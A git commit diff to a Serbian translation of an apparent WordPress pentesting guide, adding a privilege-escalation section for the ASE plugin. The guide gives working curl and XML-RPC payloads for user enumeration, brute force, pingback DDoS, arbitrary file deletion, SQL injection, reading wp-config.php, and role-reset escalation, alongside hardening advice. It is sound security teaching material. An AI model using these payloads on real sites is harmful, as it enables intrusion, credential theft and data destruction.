Translated ['src/network-services-pentesting/pentesting-web/wordpress.md

This commit is contained in:
Translator 2025-08-18 16:38:39 +00:00
parent 0cbc8622f1
commit a897b3ef91

View File

@ -28,21 +28,21 @@
- `wp-includes/` Ovo je direktorijum gde se čuvaju osnovne datoteke, kao što su sertifikati, fontovi, JavaScript datoteke i dodaci.
- `wp-sitemap.xml` U WordPress verzijama 5.5 i većim, WordPress generiše XML datoteku mape sajta sa svim javnim postovima i javno upitnim tipovima postova i taksonomijama.
**Post eksploatacija**
**Post exploitation**
- Datoteka `wp-config.php` sadrži informacije potrebne WordPress-u za povezivanje sa bazom podataka, kao što su ime baze podataka, host baze podataka, korisničko ime i lozinka, ključevi za autentifikaciju i soli, i prefiks tabela baze podataka. Ova konfiguraciona datoteka se takođe može koristiti za aktiviranje DEBUG moda, što može biti korisno u rešavanju problema.
### Dozvole korisnika
- **Administrator**
- **Urednik**: Objavljuje i upravlja svojim i tuđim postovima
- **Autor**: Objavljuje i upravlja svojim postovima
- **Saradnik**: Piše i upravlja svojim postovima, ali ih ne može objaviti
- **Pretplatnik**: Pregleda postove i uređuje svoj profil
- **Editor**: Objavljuje i upravlja svojim i tuđim postovima
- **Author**: Objavljuje i upravlja svojim postovima
- **Contributor**: Piše i upravlja svojim postovima, ali ih ne može objaviti
- **Subscriber**: Pregleda postove i uređuje svoj profil
## **Pasivna enumeracija**
### **Dobijanje verzije WordPress-a**
### **Dobijanje WordPress verzije**
Proverite da li možete pronaći datoteke `/license.txt` ili `/readme.html`
@ -83,7 +83,7 @@ Verovatno nećete moći da pronađete sve moguće Plugin-e i Teme. Da biste ih o
### Korisnici
- **ID Brute:** Dobijate validne korisnike sa WordPress sajta Brute Forcing-om korisničkih ID-eva:
- **ID Brute:** Dobijate validne korisnike sa WordPress sajta Brute Forcing-om ID-eva korisnika:
```bash
curl -s -I -X GET http://blog.example.com/?author=1
```
@ -97,11 +97,11 @@ Još jedan `/wp-json/` krajnji tačka koja može otkriti neke informacije o kori
```bash
curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
```
Napomena da ovaj krajnji tačka izlaže samo korisnike koji su napravili post. **Samo informacije o korisnicima koji imaju ovu funkciju omogućenu biće pružene**.
Napomena da ovaj krajnji tačka izlaže samo korisnike koji su napravili post. **Samo informacije o korisnicima koji imaju ovu funkciju omogućenu će biti pružene**.
Takođe, imajte na umu da **/wp-json/wp/v2/pages** može da otkrije IP adrese.
Takođe, napomena da **/wp-json/wp/v2/pages** može da otkrije IP adrese.
- **Enumeracija korisničkih imena za prijavu**: Kada se prijavljujete na **`/wp-login.php`**, **poruka** je **drugačija** u zavisnosti od toga da li je **korisničko ime postoji ili ne**.
- **Enumeracija korisničkih imena za prijavu**: Kada se prijavljujete na **`/wp-login.php`**, **poruka** je **drugačija** u zavisnosti od toga da li je navedeno **korisničko ime postoji ili ne**.
### XML-RPC
@ -132,11 +132,11 @@ Da biste proverili da li je aktivan, pokušajte da pristupite _**/xmlrpc.php**_
```
Poruka _"Pogrešno korisničko ime ili lozinka"_ unutar odgovora sa kodom 200 treba da se pojavi ako akreditivi nisu validni.
![](<../../images/image (107) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (4) (1).png>)
![](<../../images/image (107) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (4) (1).png>)
![](<../../images/image (721).png>)
Korišćenjem ispravnih akreditiva možete da otpremite datoteku. U odgovoru će se pojaviti putanja ([https://gist.github.com/georgestephanis/5681982](https://gist.github.com/georgestephanis/5681982))
Korišćenjem ispravnih akreditiva možete otpremiti datoteku. U odgovoru će se pojaviti putanja ([https://gist.github.com/georgestephanis/5681982](https://gist.github.com/georgestephanis/5681982))
```html
<?xml version='1.0' encoding='utf-8'?>
<methodCall>
@ -176,7 +176,7 @@ Ova metoda je namenjena programima, a ne ljudima, i stara je, stoga ne podržava
**DDoS ili skeniranje portova**
Ako možete pronaći metodu _**pingback.ping**_ unutar liste, možete naterati Wordpress da pošalje proizvoljan zahtev bilo kom hostu/portu.\
Ako možete pronaći metodu _**pingback.ping**_ unutar liste, možete naterati Wordpress da pošalje proizvoljan zahtev bilo kojem hostu/portu.\
Ovo se može koristiti da se zatraži **hiljade** Wordpress **sajtova** da **pristupe** jednoj **lokaciji** (tako da se izazove **DDoS** u toj lokaciji) ili možete to koristiti da naterate **Wordpress** da **skanira** neku internu **mrežu** (možete naznačiti bilo koji port).
```html
<methodCall>
@ -217,7 +217,7 @@ Preporučuje se da se onemogući Wp-Cron i da se kreira pravi cronjob unutar hos
Pokušajte da pristupite _https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ i Wordpress sajt može da pošalje zahtev ka vama.
Ovo je odgovor kada ne radi:
Ovo je odgovor kada ne funkcioniše:
![](<../../images/image (365).png>)
@ -229,7 +229,7 @@ https://github.com/t0gu/quickpress/blob/master/core/requests.go
Ovaj alat proverava da li **methodName: pingback.ping** postoji za putanju **/wp-json/oembed/1.0/proxy** i ako postoji, pokušava da ih iskoristi.
## Automatic Tools
## Automatski alati
```bash
cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0"
wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token <API_TOKEN> --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs)
@ -237,14 +237,14 @@ wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detec
```
## Dobijanje pristupa prepisivanjem bita
Više od pravog napada, ovo je radoznalost. U CTF-u [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) mogli ste da prebacite 1 bit iz bilo kog wordpress fajla. Tako ste mogli da prebacite poziciju `5389` fajla `/var/www/html/wp-includes/user.php` da NOP-ujete NOT (`!`) operaciju.
Više od pravog napada, ovo je radoznalost. U CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) mogli ste da prebacite 1 bit iz bilo kog wordpress fajla. Tako ste mogli da prebacite poziciju `5389` fajla `/var/www/html/wp-includes/user.php` da NOP-ujete NOT (`!`) operaciju.
```php
if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
return new WP_Error(
```
## **Panel RCE**
**Modifikovanje php iz teme koja se koristi (potrebne su admin kredencijali)**
**Modifikovanje php iz teme koja se koristi (potrebne admin kredencijale)**
Izgled → Urednik teme → 404 Šablon (s desne strane)
@ -302,16 +302,16 @@ Ova metoda uključuje instalaciju malicioznog plugina za koji se zna da je ranji
3. **Plugin Activation**: Kada je plugin uspešno instaliran, mora se aktivirati kroz kontrolnu tablu.
4. **Exploitation**:
- Sa instaliranim i aktiviranim pluginom "reflex-gallery", može se iskoristiti jer je poznato da je ranjiv.
- Metasploit framework pruža exploit za ovu ranjivost. Učitajte odgovarajući modul i izvršite specifične komande, može se uspostaviti meterpreter sesija, što omogućava neovlašćen pristup sajtu.
- Metasploit framework pruža exploit za ovu ranjivost. Učitajte odgovarajući modul i izvršite specifične komande da biste uspostavili meterpreter sesiju, što omogućava neovlašćen pristup sajtu.
- Napominje se da je ovo samo jedna od mnogih metoda za iskorišćavanje WordPress sajta.
Sadržaj uključuje vizuelne prikaze koji prikazuju korake u WordPress kontrolnoj tabli za instalaciju i aktivaciju plugina. Međutim, važno je napomenuti da je iskorišćavanje ranjivosti na ovaj način ilegalno i neetično bez odgovarajuće dozvole. Ove informacije treba koristiti odgovorno i samo u legalnom kontekstu, kao što je pentesting sa izričitom dozvolom.
Sadržaj uključuje vizuelne prikaze koraka u WordPress kontrolnoj tabli za instalaciju i aktivaciju plugina. Međutim, važno je napomenuti da je iskorišćavanje ranjivosti na ovaj način ilegalno i neetično bez odgovarajuće dozvole. Ove informacije treba koristiti odgovorno i samo u legalnom kontekstu, kao što je pentesting sa izričitom dozvolom.
**Za detaljnije korake proverite:** [**https://www.hackingarticles.in/wordpress-reverse-shell/**](https://www.hackingarticles.in/wordpress-reverse-shell/)
**For more detailed steps check:** [**https://www.hackingarticles.in/wordpress-reverse-shell/**](https://www.hackingarticles.in/wordpress-reverse-shell/)
## From XSS to RCE
- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ je skripta dizajnirana da eskalira **Cross-Site Scripting (XSS)** ranjivost na **Remote Code Execution (RCE)** ili druge kritične ranjivosti u WordPress-u. Za više informacija proverite [**this post**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). Pruža **podršku za Wordpress verzije 6.X.X, 5.X.X i 4.X.X i omogućava:**
- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ je skripta dizajnirana da eskalira **Cross-Site Scripting (XSS)** ranjivost na **Remote Code Execution (RCE)** ili druge kritične ranjivosti u WordPress-u. Za više informacija pogledajte [**this post**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). Pruža **podršku za Wordpress verzije 6.X.X, 5.X.X i 4.X.X i omogućava:**
- _**Privilege Escalation:**_ Kreira korisnika u WordPress-u.
- _**(RCE) Custom Plugin (backdoor) Upload:**_ Uploadujte svoj prilagođeni plugin (backdoor) u WordPress.
- _**(RCE) Built-In Plugin Edit:**_ Uredite ugrađene plugine u WordPress-u.
@ -336,7 +336,7 @@ Znanje o tome kako Wordpress dodatak može izložiti funkcionalnost je ključno
- **`wp_ajax`**
Jedan od načina na koji dodatak može izložiti funkcije korisnicima je putem AJAX handler-a. Ovi handler-i mogu sadržati logiku, greške u autorizaciji ili autentifikaciji. Štaviše, često se dešava da će ove funkcije bazirati i autentifikaciju i autorizaciju na postojanju wordpress nonce-a koji **bilo koji korisnik autentifikovan u Wordpress instanci može imati** (nezavisno od njegove uloge).
Jedan od načina na koji dodatak može izložiti funkcije korisnicima je putem AJAX handler-a. Ovi handler-i mogu sadržati logiku, greške u autorizaciji ili autentifikaciji. Štaviše, često se dešava da će ove funkcije zasnivati i autentifikaciju i autorizaciju na postojanju wordpress nonce-a koji **bilo koji korisnik autentifikovan u Wordpress instanci može imati** (nezavisno od njegove uloge).
Ovo su funkcije koje se mogu koristiti za izlaganje funkcije u dodatku:
```php
@ -362,7 +362,7 @@ $this->namespace, '/get/', array(
```
`permission_callback` je povratna funkcija koja proverava da li je dati korisnik ovlašćen da pozove API metodu.
**Ako se koristi ugrađena funkcija `__return_true`, jednostavno će preskočiti proveru korisničkih dozvola.**
**Ako se koristi ugrađena funkcija `__return_true`, jednostavno će preskočiti proveru dozvola korisnika.**
- **Direktan pristup php datoteci**
@ -370,13 +370,13 @@ Naravno, Wordpress koristi PHP i datoteke unutar dodataka su direktno dostupne s
### Neautentifikovano proizvoljno brisanje datoteka putem wp_ajax_nopriv (Litho Tema <= 3.0)
WordPress teme i dodaci često izlažu AJAX rukovaoce putem `wp_ajax_` i `wp_ajax_nopriv_` hook-ova. Kada se koristi varijanta **_nopriv_**, **povratna funkcija postaje dostupna neautentifikovanim posetiocima**, tako da svaka osetljiva akcija mora dodatno implementirati:
WordPress teme i dodaci često izlažu AJAX rukovaoce kroz `wp_ajax_` i `wp_ajax_nopriv_` hook-ove. Kada se koristi varijanta **_nopriv_**, **povratna funkcija postaje dostupna neautentifikovanim posetiocima**, tako da svaka osetljiva akcija mora dodatno implementirati:
1. Proveru **kapaciteta** (npr. `current_user_can()` ili barem `is_user_logged_in()`), i
2. **CSRF nonce** validiran sa `check_ajax_referer()` / `wp_verify_nonce()`, i
3. **Strogu sanitizaciju / validaciju unosa**.
Litho multipurpose tema (< 3.1) je zaboravila ta 3 kontrola u funkciji *Remove Font Family* i završila je sa slanjem sledećeg koda ( pojednostavljeno):
Litho multipurpose tema (< 3.1) je zaboravila ta 3 kontrola u funkciji *Ukloni Font Family* i završila je sa isporukom sledećeg koda ( pojednostavljeno):
```php
function litho_remove_font_family_action_data() {
if ( empty( $_POST['fontfamily'] ) ) {
@ -403,7 +403,7 @@ Problemi koje uvodi ovaj deo koda:
#### Eksploatacija
Napadač može obrisati bilo koju datoteku ili direktorijum **ispod osnovnog direktorijuma za upload** (obično `<wp-root>/wp-content/uploads/`) slanjem jednog HTTP POST zahteva:
Napadač može obrisati bilo koju datoteku ili direktorijum **ispod osnovnog direktorijuma za otpremanje** (obično `<wp-root>/wp-content/uploads/`) slanjem jednog HTTP POST zahteva:
```bash
curl -X POST https://victim.com/wp-admin/admin-ajax.php \
-d 'action=litho_remove_font_family_action_data' \
@ -444,6 +444,70 @@ add_action( 'wp_ajax_litho_remove_font_family_action_data', 'secure_remove_font_
---
### Eskalacija privilegija putem zastare vraćanja uloge i nedostatka autorizacije (ASE "Pogledaj Admin kao Ulogu")
Mnogi dodaci implementiraju funkciju "pogledaj kao uloga" ili privremeno prebacivanje uloga tako što čuvaju originalne uloge u korisničkim metapodacima kako bi ih kasnije mogli vratiti. Ako putanja vraćanja zavisi samo od parametara zahteva (npr., `$_REQUEST['reset-for']`) i liste koju održava dodatak bez provere sposobnosti i važeće nonce, to postaje vertikalna eskalacija privilegija.
Primer iz stvarnog sveta pronađen je u dodatku Admin and Site Enhancements (ASE) (≤ 7.6.2.1). Grana resetovanja vraćala je uloge na osnovu `reset-for=<username>` ako se korisničko ime pojavilo u internom nizu `$options['viewing_admin_as_role_are']`, ali nije izvršila ni `current_user_can()` proveru ni verifikaciju nonce pre nego što je uklonila trenutne uloge i ponovo dodala sačuvane uloge iz korisničkih metapodataka `_asenha_view_admin_as_original_roles`:
```php
// Simplified vulnerable pattern
if ( isset( $_REQUEST['reset-for'] ) ) {
$reset_for_username = sanitize_text_field( $_REQUEST['reset-for'] );
$usernames = get_option( ASENHA_SLUG_U, [] )['viewing_admin_as_role_are'] ?? [];
if ( in_array( $reset_for_username, $usernames, true ) ) {
$u = get_user_by( 'login', $reset_for_username );
foreach ( $u->roles as $role ) { $u->remove_role( $role ); }
$orig = (array) get_user_meta( $u->ID, '_asenha_view_admin_as_original_roles', true );
foreach ( $orig as $r ) { $u->add_role( $r ); }
}
}
```
Zašto je podložan eksploataciji
- Veruje `$_REQUEST['reset-for']` i opciji dodatka bez autorizacije na serverskoj strani.
- Ako je korisnik prethodno imao više privilegija sačuvanih u `_asenha_view_admin_as_original_roles` i bio snižen, može ih obnoviti tako što će pritisnuti putanju za resetovanje.
- U nekim implementacijama, svaki autentifikovani korisnik mogao bi pokrenuti resetovanje za drugo korisničko ime koje je još uvek prisutno u `viewing_admin_as_role_are` (pokidana autorizacija).
Preduslovi za napad
- Ranjava verzija dodatka sa omogućenom funkcijom.
- Ciljani nalog ima zastarelu ulogu sa visokim privilegijama sačuvanu u korisničkoj meti iz ranijeg korišćenja.
- Bilo koja autentifikovana sesija; nedostajući nonce/kapacitet u toku resetovanja.
Eksploatacija (primer)
```bash
# While logged in as the downgraded user (or any auth user able to trigger the code path),
# hit any route that executes the role-switcher logic and include the reset parameter.
# The plugin uses $_REQUEST, so GET or POST works. The exact route depends on the plugin hooks.
curl -s -k -b 'wordpress_logged_in=...' \
'https://victim.example/wp-admin/?reset-for=<your_username>'
```
Na ranjivim verzijama ovo uklanja trenutne uloge i ponovo dodaje sačuvane originalne uloge (npr., `administrator`), efikasno povećavajući privilegije.
Checklist za detekciju
- Potražite funkcije za prebacivanje uloga koje čuvaju “originalne uloge” u korisničkoj meti (npr., `_asenha_view_admin_as_original_roles`).
- Identifikujte putanje za resetovanje/obnavljanje koje:
- Čitaju korisnička imena iz `$_REQUEST` / `$_GET` / `$_POST`.
- Modifikuju uloge putem `add_role()` / `remove_role()` bez `current_user_can()` i `wp_verify_nonce()` / `check_admin_referer()`.
- Autorizuju na osnovu niza opcija dodatka (npr., `viewing_admin_as_role_are`) umesto na osnovu sposobnosti aktera.
Ojačavanje
- Sprovodite provere sposobnosti na svakoj grani koja menja stanje (npr., `current_user_can('manage_options')` ili strožije).
- Zahtevajte nonce za sve mutacije uloga/dozvola i verifikujte ih: `check_admin_referer()` / `wp_verify_nonce()`.
- Nikada ne verujte korisničkim imenima koja su dostavljena putem zahteva; rešavajte ciljnog korisnika na serverskoj strani na osnovu autentifikovanog aktera i eksplicitne politike.
- Nevažeće stanje “originalnih uloga” prilikom ažuriranja profila/uloga kako biste izbegli zastarelo vraćanje visokih privilegija:
```php
add_action( 'profile_update', function( $user_id ) {
delete_user_meta( $user_id, '_asenha_view_admin_as_original_roles' );
}, 10, 1 );
```
- Razmotrite čuvanje minimalnog stanja i korišćenje vremenski ograničenih, sposobnostima zaštićenih tokena za privremene promene uloga.
---
## WordPress zaštita
### Redovne ažuriranja
@ -472,7 +536,7 @@ Takođe, **instalirajte samo pouzdane WordPress dodatke i teme**.
### Neautentifikovana SQL injekcija putem nedovoljne validacije (WP Job Portal <= 2.3.2)
WP Job Portal dodatak za zapošljavanje je izložio **savecategory** zadatak koji na kraju izvršava sledeći ranjivi kod unutar `modules/category/model.php::validateFormData()`:
WP Job Portal dodatak za zapošljavanje izložio je **savecategory** zadatak koji na kraju izvršava sledeći ranjivi kod unutar `modules/category/model.php::validateFormData()`:
```php
$category = WPJOBPORTALrequest::getVar('parentid');
$inquery = ' ';
@ -524,11 +588,13 @@ curl -G https://victim.com/wp-admin/admin-post.php \
--data-urlencode 'entity_id=1' \
--data-urlencode 'file_name=../../../wp-config.php'
```
Server odgovara sa sadržajem `wp-config.php`, otkrivajući DB akreditive i auth ključeve.
Server odgovara sadržajem `wp-config.php`, otkrivajući DB akreditive i auth ključeve.
## Reference
- [Unauthenticated Arbitrary File Deletion Vulnerability in Litho Theme](https://patchstack.com/articles/unauthenticated-arbitrary-file-delete-vulnerability-in-litho-the/)
- [Multiple Critical Vulnerabilities Patched in WP Job Portal Plugin](https://patchstack.com/articles/multiple-critical-vulnerabilities-patched-in-wp-job-portal-plugin/)
- [Rare Case of Privilege Escalation in ASE Plugin Affecting 100k+ Sites](https://patchstack.com/articles/rare-case-of-privilege-escalation-in-ase-plugin-affecting-100k-sites/)
- [ASE 7.6.3 changeset delete original roles on profile update](https://plugins.trac.wordpress.org/changeset/3211945/admin-site-enhancements/tags/7.6.3/classes/class-view-admin-as-role.php?old=3208295&old_path=admin-site-enhancements%2Ftags%2F7.6.2%2Fclasses%2Fclass-view-admin-as-role.php)
{{#include ../../banners/hacktricks-training.md}}